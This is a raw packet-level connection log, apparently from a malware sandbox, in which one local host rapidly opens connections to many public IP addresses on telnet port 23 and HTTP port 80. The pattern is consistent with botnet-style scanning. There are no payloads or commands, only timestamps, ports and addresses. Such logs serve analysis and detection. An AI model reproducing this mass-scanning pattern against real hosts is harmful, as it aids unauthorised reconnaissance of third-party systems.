Dec 3, 2024 21:01:59.498400927 CET	20129	80	192.168.2.23	179.115.180.115
Dec 3, 2024 21:01:59.498411894 CET	20129	80	192.168.2.23	47.55.187.173
Dec 3, 2024 21:01:59.498415947 CET	20129	80	192.168.2.23	63.226.172.67
Dec 3, 2024 21:01:59.498415947 CET	20129	80	192.168.2.23	136.118.102.182
Dec 3, 2024 21:01:59.498415947 CET	20129	80	192.168.2.23	173.84.69.235
Dec 3, 2024 21:01:59.498424053 CET	20129	80	192.168.2.23	114.48.254.234
Dec 3, 2024 21:01:59.498430014 CET	20129	80	192.168.2.23	113.182.73.45
Dec 3, 2024 21:01:59.498437881 CET	20129	80	192.168.2.23	65.213.78.209
Dec 3, 2024 21:01:59.498437881 CET	20129	80	192.168.2.23	72.203.115.79
Dec 3, 2024 21:01:59.498440027 CET	20129	80	192.168.2.23	75.239.55.15
Dec 3, 2024 21:01:59.498440027 CET	20129	80	192.168.2.23	105.62.97.177
Dec 3, 2024 21:01:59.498445034 CET	20129	80	192.168.2.23	202.178.179.192
Dec 3, 2024 21:01:59.498446941 CET	20129	80	192.168.2.23	203.88.115.62
Dec 3, 2024 21:01:59.498446941 CET	20129	80	192.168.2.23	111.188.97.42
Dec 3, 2024 21:01:59.498450994 CET	20129	80	192.168.2.23	129.115.69.165
Dec 3, 2024 21:01:59.498450994 CET	20129	80	192.168.2.23	70.149.236.189
Dec 3, 2024 21:01:59.498456955 CET	20129	80	192.168.2.23	189.140.80.148
Dec 3, 2024 21:01:59.498469114 CET	20129	80	192.168.2.23	41.183.228.143
Dec 3, 2024 21:01:59.498476028 CET	20129	80	192.168.2.23	117.118.41.57
Dec 3, 2024 21:01:59.498487949 CET	20129	80	192.168.2.23	109.24.152.199
Dec 3, 2024 21:01:59.498492956 CET	20129	80	192.168.2.23	115.211.126.75
Dec 3, 2024 21:01:59.498492956 CET	20129	80	192.168.2.23	155.89.115.153
Dec 3, 2024 21:01:59.498492956 CET	20129	80	192.168.2.23	115.102.30.203
Dec 3, 2024 21:01:59.498497963 CET	20129	80	192.168.2.23	71.223.8.251
Dec 3, 2024 21:01:59.498497963 CET	20129	80	192.168.2.23	2.25.0.45
Dec 3, 2024 21:01:59.498508930 CET	20129	80	192.168.2.23	20.52.52.39
Dec 3, 2024 21:01:59.498524904 CET	20129	80	192.168.2.23	121.204.46.101
Dec 3, 2024 21:01:59.498528004 CET	20129	80	192.168.2.23	183.68.43.26
Dec 3, 2024 21:01:59.498529911 CET	20129	80	192.168.2.23	177.122.174.140
Dec 3, 2024 21:01:59.498542070 CET	20129	80	192.168.2.23	91.26.89.123
Dec 3, 2024 21:01:59.498542070 CET	20129	80	192.168.2.23	71.209.50.154
Dec 3, 2024 21:01:59.498544931 CET	20129	80	192.168.2.23	115.129.193.36
Dec 3, 2024 21:01:59.498558998 CET	20129	80	192.168.2.23	5.239.99.161
Dec 3, 2024 21:01:59.498560905 CET	20129	80	192.168.2.23	205.75.219.51
Dec 3, 2024 21:01:59.498560905 CET	20129	80	192.168.2.23	154.10.29.159
Dec 3, 2024 21:01:59.498572111 CET	20129	80	192.168.2.23	134.131.117.229
Dec 3, 2024 21:01:59.498577118 CET	20129	80	192.168.2.23	187.44.245.7
Dec 3, 2024 21:01:59.498588085 CET	20129	80	192.168.2.23	51.211.21.75
Dec 3, 2024 21:01:59.498589993 CET	20129	80	192.168.2.23	4.202.201.47
Dec 3, 2024 21:01:59.498589993 CET	20129	80	192.168.2.23	101.8.181.61
Dec 3, 2024 21:01:59.498599052 CET	20129	80	192.168.2.23	111.110.117.96
Dec 3, 2024 21:01:59.498606920 CET	20129	80	192.168.2.23	167.220.201.150
Dec 3, 2024 21:01:59.498606920 CET	20129	80	192.168.2.23	150.230.152.246
Dec 3, 2024 21:01:59.498611927 CET	20129	80	192.168.2.23	126.212.241.173
Dec 3, 2024 21:01:59.498625040 CET	20129	80	192.168.2.23	204.2.191.26
Dec 3, 2024 21:01:59.498625994 CET	20129	80	192.168.2.23	188.175.20.79
Dec 3, 2024 21:01:59.498625994 CET	20129	80	192.168.2.23	190.19.169.196
Dec 3, 2024 21:01:59.498636007 CET	20129	80	192.168.2.23	88.3.217.218
Dec 3, 2024 21:01:59.498641968 CET	20129	80	192.168.2.23	90.129.182.178
Dec 3, 2024 21:01:59.499479055 CET	23	59902	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.499552011 CET	59902	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.499905109 CET	59936	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.502706051 CET	23	46918	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:59.502718925 CET	23	43410	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:59.502784014 CET	46918	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.502784014 CET	43410	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.518413067 CET	23	53144	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.518492937 CET	53144	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.518836021 CET	53178	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.524873018 CET	23	49530	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.524952888 CET	49530	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.525317907 CET	49564	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.534282923 CET	23	47448	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.534408092 CET	47448	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.534854889 CET	47482	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.543346882 CET	23	41542	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.543867111 CET	23	41574	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.543932915 CET	41574	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.544868946 CET	23	59524	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.544934034 CET	59524	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.545295954 CET	59558	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.552670956 CET	23	60182	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.553018093 CET	23	60214	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.553082943 CET	60214	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.568746090 CET	23	50616	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.568985939 CET	23	50648	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.569037914 CET	50648	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.569428921 CET	23	59934	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.569653988 CET	23	59966	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.569695950 CET	59966	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.580672026 CET	23	53474	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.580749989 CET	53474	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.580821991 CET	23	34732	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.581226110 CET	53508	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.581614017 CET	34732	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.581661940 CET	23	39884	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.581935883 CET	34766	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.581940889 CET	39884	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.582370043 CET	39884	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.582694054 CET	39918	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.583328962 CET	23	46178	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.583343029 CET	23	44604	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.583410978 CET	46178	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.583682060 CET	23	52618	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.583734035 CET	46212	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.583770037 CET	23	44810	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.583828926 CET	44810	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.584136963 CET	52618	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.584439993 CET	52652	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.584475040 CET	23	50690	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.584841013 CET	50690	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.585149050 CET	50724	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.612308979 CET	23	45808	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.612498999 CET	45808	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.612850904 CET	45842	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.617285013 CET	80	20129	167.253.159.61	192.168.2.23
Dec 3, 2024 21:01:59.617325068 CET	80	20129	89.149.14.97	192.168.2.23
Dec 3, 2024 21:01:59.617336988 CET	80	20129	190.79.16.71	192.168.2.23
Dec 3, 2024 21:01:59.617347002 CET	80	20129	4.65.158.178	192.168.2.23
Dec 3, 2024 21:01:59.617352009 CET	20129	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:01:59.617357969 CET	80	20129	196.18.47.40	192.168.2.23
Dec 3, 2024 21:01:59.617369890 CET	80	20129	94.96.69.236	192.168.2.23
Dec 3, 2024 21:01:59.617369890 CET	20129	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:01:59.617382050 CET	80	20129	174.173.230.7	192.168.2.23
Dec 3, 2024 21:01:59.617388010 CET	20129	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:01:59.617388010 CET	20129	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:01:59.617388010 CET	20129	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:01:59.617403030 CET	80	20129	20.138.99.28	192.168.2.23
Dec 3, 2024 21:01:59.617403030 CET	20129	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:01:59.617413044 CET	80	20129	112.114.37.148	192.168.2.23
Dec 3, 2024 21:01:59.617424011 CET	80	20129	59.56.240.27	192.168.2.23
Dec 3, 2024 21:01:59.617424965 CET	20129	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:01:59.617459059 CET	20129	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:01:59.617463112 CET	20129	80	192.168.2.23	20.138.99.28
Dec 3, 2024 21:01:59.617461920 CET	20129	80	192.168.2.23	59.56.240.27
Dec 3, 2024 21:01:59.619479895 CET	23	59902	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.623022079 CET	23	46918	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:59.623131037 CET	23	43410	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:59.623182058 CET	46918	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.623419046 CET	47112	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.623840094 CET	43410	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.624140978 CET	43608	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.638638973 CET	23	53144	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.638721943 CET	23	53178	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.638765097 CET	53178	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.644839048 CET	23	49530	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.645226955 CET	23	49564	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.645272017 CET	49564	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.654371977 CET	23	47448	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.654757023 CET	23	47482	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.654829025 CET	47482	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.664472103 CET	23	41574	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.664570093 CET	41574	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.664958954 CET	41612	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.665149927 CET	23	59524	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.665483952 CET	23	59558	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.665532112 CET	59558	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.673765898 CET	23	60214	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.673836946 CET	60214	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.674181938 CET	60252	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.689405918 CET	23	50648	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.689500093 CET	50648	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.689867973 CET	50686	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.690053940 CET	23	59966	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.690289021 CET	59966	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.690557003 CET	60004	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.700845003 CET	23	53474	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.701265097 CET	23	53508	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.701347113 CET	53508	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.701476097 CET	23	34732	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.701936007 CET	23	34766	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.701994896 CET	34766	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.702244043 CET	23	39884	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.702542067 CET	23	39918	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.702590942 CET	39918	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.703258991 CET	23	46178	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.703705072 CET	23	46212	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.703785896 CET	46212	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.704025984 CET	23	44810	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.704050064 CET	23	52618	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.704087973 CET	44810	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.704391003 CET	44848	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.704688072 CET	23	50690	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.732469082 CET	23	45808	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.732753992 CET	23	45842	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.732815981 CET	45842	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.743241072 CET	23	46918	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:59.743474960 CET	23	47112	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:59.743526936 CET	47112	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.743865013 CET	23	43410	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:59.744267941 CET	23	43608	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:59.744438887 CET	43608	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.759501934 CET	23	53178	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.759577036 CET	53178	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.759937048 CET	53214	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.765717983 CET	23	49564	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.765804052 CET	49564	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.766202927 CET	49600	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.774976969 CET	23	47482	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.775109053 CET	47482	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.775470018 CET	47518	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.784600019 CET	23	41574	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.784892082 CET	23	41612	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.784945011 CET	41612	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.785700083 CET	23	59558	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.785788059 CET	59558	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.786161900 CET	59594	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.793931961 CET	23	60214	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.794056892 CET	23	60252	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.794156075 CET	60252	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.809400082 CET	23	50648	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.809840918 CET	23	50686	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.809894085 CET	50686	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.810170889 CET	23	59966	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.810508013 CET	23	60004	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.810559034 CET	60004	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.821667910 CET	23	53508	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.821927071 CET	53508	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.822097063 CET	23	34766	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.822387934 CET	53544	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.822683096 CET	34766	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.822716951 CET	34802	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.822741032 CET	23	39918	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.823112011 CET	39918	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.823385954 CET	39954	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.824095964 CET	23	46212	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.824152946 CET	46212	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.824219942 CET	23	44810	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.824702024 CET	23	44848	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.824738026 CET	44848	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.824922085 CET	46248	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.853243113 CET	23	45842	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.853406906 CET	45842	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.853863955 CET	45874	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.863768101 CET	23	47112	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:59.863934040 CET	47112	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.864346027 CET	47144	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.864595890 CET	23	43608	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:59.864794970 CET	43608	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.865067005 CET	43640	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.879513025 CET	23	53178	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.879806042 CET	23	53214	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.879852057 CET	53214	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.885674000 CET	23	49564	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.886073112 CET	23	49600	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.886159897 CET	49600	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.895299911 CET	23	47482	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.895698071 CET	23	47518	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.895778894 CET	47518	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.905214071 CET	23	41612	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.905324936 CET	41612	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.905690908 CET	41644	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.905695915 CET	23	59558	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.906106949 CET	23	59594	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.906171083 CET	59594	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.914731026 CET	23	60252	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.914800882 CET	60252	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.915283918 CET	60284	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.930115938 CET	23	50686	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.930313110 CET	50686	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.930541039 CET	23	60004	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.930735111 CET	50718	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.931166887 CET	60004	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.931457996 CET	60036	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.941984892 CET	23	53508	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.942312002 CET	23	53544	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.942362070 CET	53544	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.942631960 CET	23	34766	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.942708015 CET	23	34802	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.942806005 CET	34802	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.942981958 CET	23	39918	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.943305969 CET	23	39954	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.943353891 CET	39954	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.944039106 CET	23	46212	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.944875002 CET	23	46248	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.944936037 CET	46248	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.945142984 CET	23	44848	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.945207119 CET	44848	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.945528984 CET	44880	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.973455906 CET	23	45842	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.973869085 CET	23	45874	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.973925114 CET	45874	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.973957062 CET	19873	23	192.168.2.23	165.103.204.123
Dec 3, 2024 21:01:59.973963976 CET	19873	23	192.168.2.23	219.243.149.144
Dec 3, 2024 21:01:59.973968029 CET	19873	23	192.168.2.23	185.208.162.238
Dec 3, 2024 21:01:59.973968029 CET	19873	23	192.168.2.23	217.129.140.255
Dec 3, 2024 21:01:59.973968029 CET	19873	23	192.168.2.23	206.153.240.167
Dec 3, 2024 21:01:59.973968029 CET	19873	23	192.168.2.23	157.59.63.171
Dec 3, 2024 21:01:59.973973036 CET	19873	23	192.168.2.23	174.39.144.22
Dec 3, 2024 21:01:59.973972082 CET	19873	23	192.168.2.23	221.243.232.33
Dec 3, 2024 21:01:59.973972082 CET	19873	23	192.168.2.23	136.4.116.170
Dec 3, 2024 21:01:59.973972082 CET	19873	23	192.168.2.23	19.59.55.62
Dec 3, 2024 21:01:59.973972082 CET	19873	23	192.168.2.23	90.153.111.19
Dec 3, 2024 21:01:59.973983049 CET	19873	23	192.168.2.23	64.234.107.83
Dec 3, 2024 21:01:59.973983049 CET	19873	23	192.168.2.23	193.250.201.36
Dec 3, 2024 21:01:59.973984003 CET	19873	23	192.168.2.23	2.236.213.225
Dec 3, 2024 21:01:59.973993063 CET	19873	23	192.168.2.23	168.192.107.243
Dec 3, 2024 21:01:59.974001884 CET	19873	23	192.168.2.23	222.51.133.42
Dec 3, 2024 21:01:59.974003077 CET	19873	23	192.168.2.23	166.13.129.230
Dec 3, 2024 21:01:59.974004984 CET	19873	23	192.168.2.23	81.74.247.190
Dec 3, 2024 21:01:59.974011898 CET	19873	23	192.168.2.23	119.202.66.27
Dec 3, 2024 21:01:59.974011898 CET	19873	23	192.168.2.23	77.106.50.20
Dec 3, 2024 21:01:59.974014997 CET	19873	23	192.168.2.23	176.173.213.28
Dec 3, 2024 21:01:59.974018097 CET	19873	23	192.168.2.23	51.216.55.209
Dec 3, 2024 21:01:59.974025011 CET	19873	23	192.168.2.23	37.133.187.41
Dec 3, 2024 21:01:59.974030018 CET	19873	23	192.168.2.23	66.30.13.142
Dec 3, 2024 21:01:59.974030018 CET	19873	23	192.168.2.23	161.193.198.119
Dec 3, 2024 21:01:59.974064112 CET	19873	23	192.168.2.23	148.49.217.157
Dec 3, 2024 21:01:59.974064112 CET	19873	23	192.168.2.23	114.117.95.182
Dec 3, 2024 21:01:59.974066019 CET	19873	23	192.168.2.23	202.5.224.71
Dec 3, 2024 21:01:59.974067926 CET	19873	23	192.168.2.23	155.223.168.115
Dec 3, 2024 21:01:59.974067926 CET	19873	23	192.168.2.23	109.233.23.253
Dec 3, 2024 21:01:59.974067926 CET	19873	23	192.168.2.23	63.87.244.49
Dec 3, 2024 21:01:59.974067926 CET	19873	23	192.168.2.23	124.184.118.66
Dec 3, 2024 21:01:59.974070072 CET	19873	23	192.168.2.23	13.201.24.217
Dec 3, 2024 21:01:59.974070072 CET	19873	23	192.168.2.23	197.252.218.247
Dec 3, 2024 21:01:59.974070072 CET	19873	23	192.168.2.23	159.180.106.249
Dec 3, 2024 21:01:59.974075079 CET	19873	23	192.168.2.23	161.75.221.27
Dec 3, 2024 21:01:59.974075079 CET	19873	23	192.168.2.23	161.114.83.63
Dec 3, 2024 21:01:59.974078894 CET	19873	23	192.168.2.23	141.109.21.157
Dec 3, 2024 21:01:59.974078894 CET	19873	23	192.168.2.23	191.108.1.180
Dec 3, 2024 21:01:59.974088907 CET	19873	23	192.168.2.23	183.125.12.117
Dec 3, 2024 21:01:59.974088907 CET	19873	23	192.168.2.23	2.227.225.25
Dec 3, 2024 21:01:59.974088907 CET	19873	23	192.168.2.23	206.71.217.251
Dec 3, 2024 21:01:59.974090099 CET	19873	23	192.168.2.23	32.239.10.200
Dec 3, 2024 21:01:59.974090099 CET	19873	23	192.168.2.23	138.101.184.123
Dec 3, 2024 21:01:59.974092007 CET	19873	23	192.168.2.23	25.149.245.235
Dec 3, 2024 21:01:59.974092007 CET	19873	23	192.168.2.23	90.16.100.95
Dec 3, 2024 21:01:59.974092960 CET	19873	23	192.168.2.23	140.208.88.224
Dec 3, 2024 21:01:59.974092960 CET	19873	23	192.168.2.23	172.108.84.102
Dec 3, 2024 21:01:59.974093914 CET	19873	23	192.168.2.23	153.206.88.25
Dec 3, 2024 21:01:59.974092960 CET	19873	23	192.168.2.23	85.209.9.187
Dec 3, 2024 21:01:59.974095106 CET	19873	23	192.168.2.23	217.132.224.41
Dec 3, 2024 21:01:59.974097013 CET	19873	23	192.168.2.23	166.119.178.194
Dec 3, 2024 21:01:59.974102020 CET	19873	23	192.168.2.23	105.198.107.236
Dec 3, 2024 21:01:59.974102020 CET	19873	23	192.168.2.23	13.191.173.100
Dec 3, 2024 21:01:59.974102974 CET	19873	23	192.168.2.23	168.47.50.141
Dec 3, 2024 21:01:59.974102974 CET	19873	23	192.168.2.23	19.211.73.56
Dec 3, 2024 21:01:59.974104881 CET	19873	23	192.168.2.23	143.250.26.68
Dec 3, 2024 21:01:59.974104881 CET	19873	23	192.168.2.23	126.126.85.190
Dec 3, 2024 21:01:59.974109888 CET	19873	23	192.168.2.23	193.109.191.83
Dec 3, 2024 21:01:59.974114895 CET	19873	23	192.168.2.23	179.206.253.164
Dec 3, 2024 21:01:59.974133015 CET	19873	23	192.168.2.23	212.224.184.236
Dec 3, 2024 21:01:59.974134922 CET	19873	23	192.168.2.23	191.197.201.137
Dec 3, 2024 21:01:59.974136114 CET	19873	23	192.168.2.23	220.104.72.25
Dec 3, 2024 21:01:59.974136114 CET	19873	23	192.168.2.23	46.83.204.96
Dec 3, 2024 21:01:59.974144936 CET	19873	23	192.168.2.23	110.35.50.206
Dec 3, 2024 21:01:59.974144936 CET	19873	23	192.168.2.23	89.215.231.119
Dec 3, 2024 21:01:59.974158049 CET	19873	23	192.168.2.23	132.199.221.148
Dec 3, 2024 21:01:59.974164963 CET	19873	23	192.168.2.23	85.12.180.147
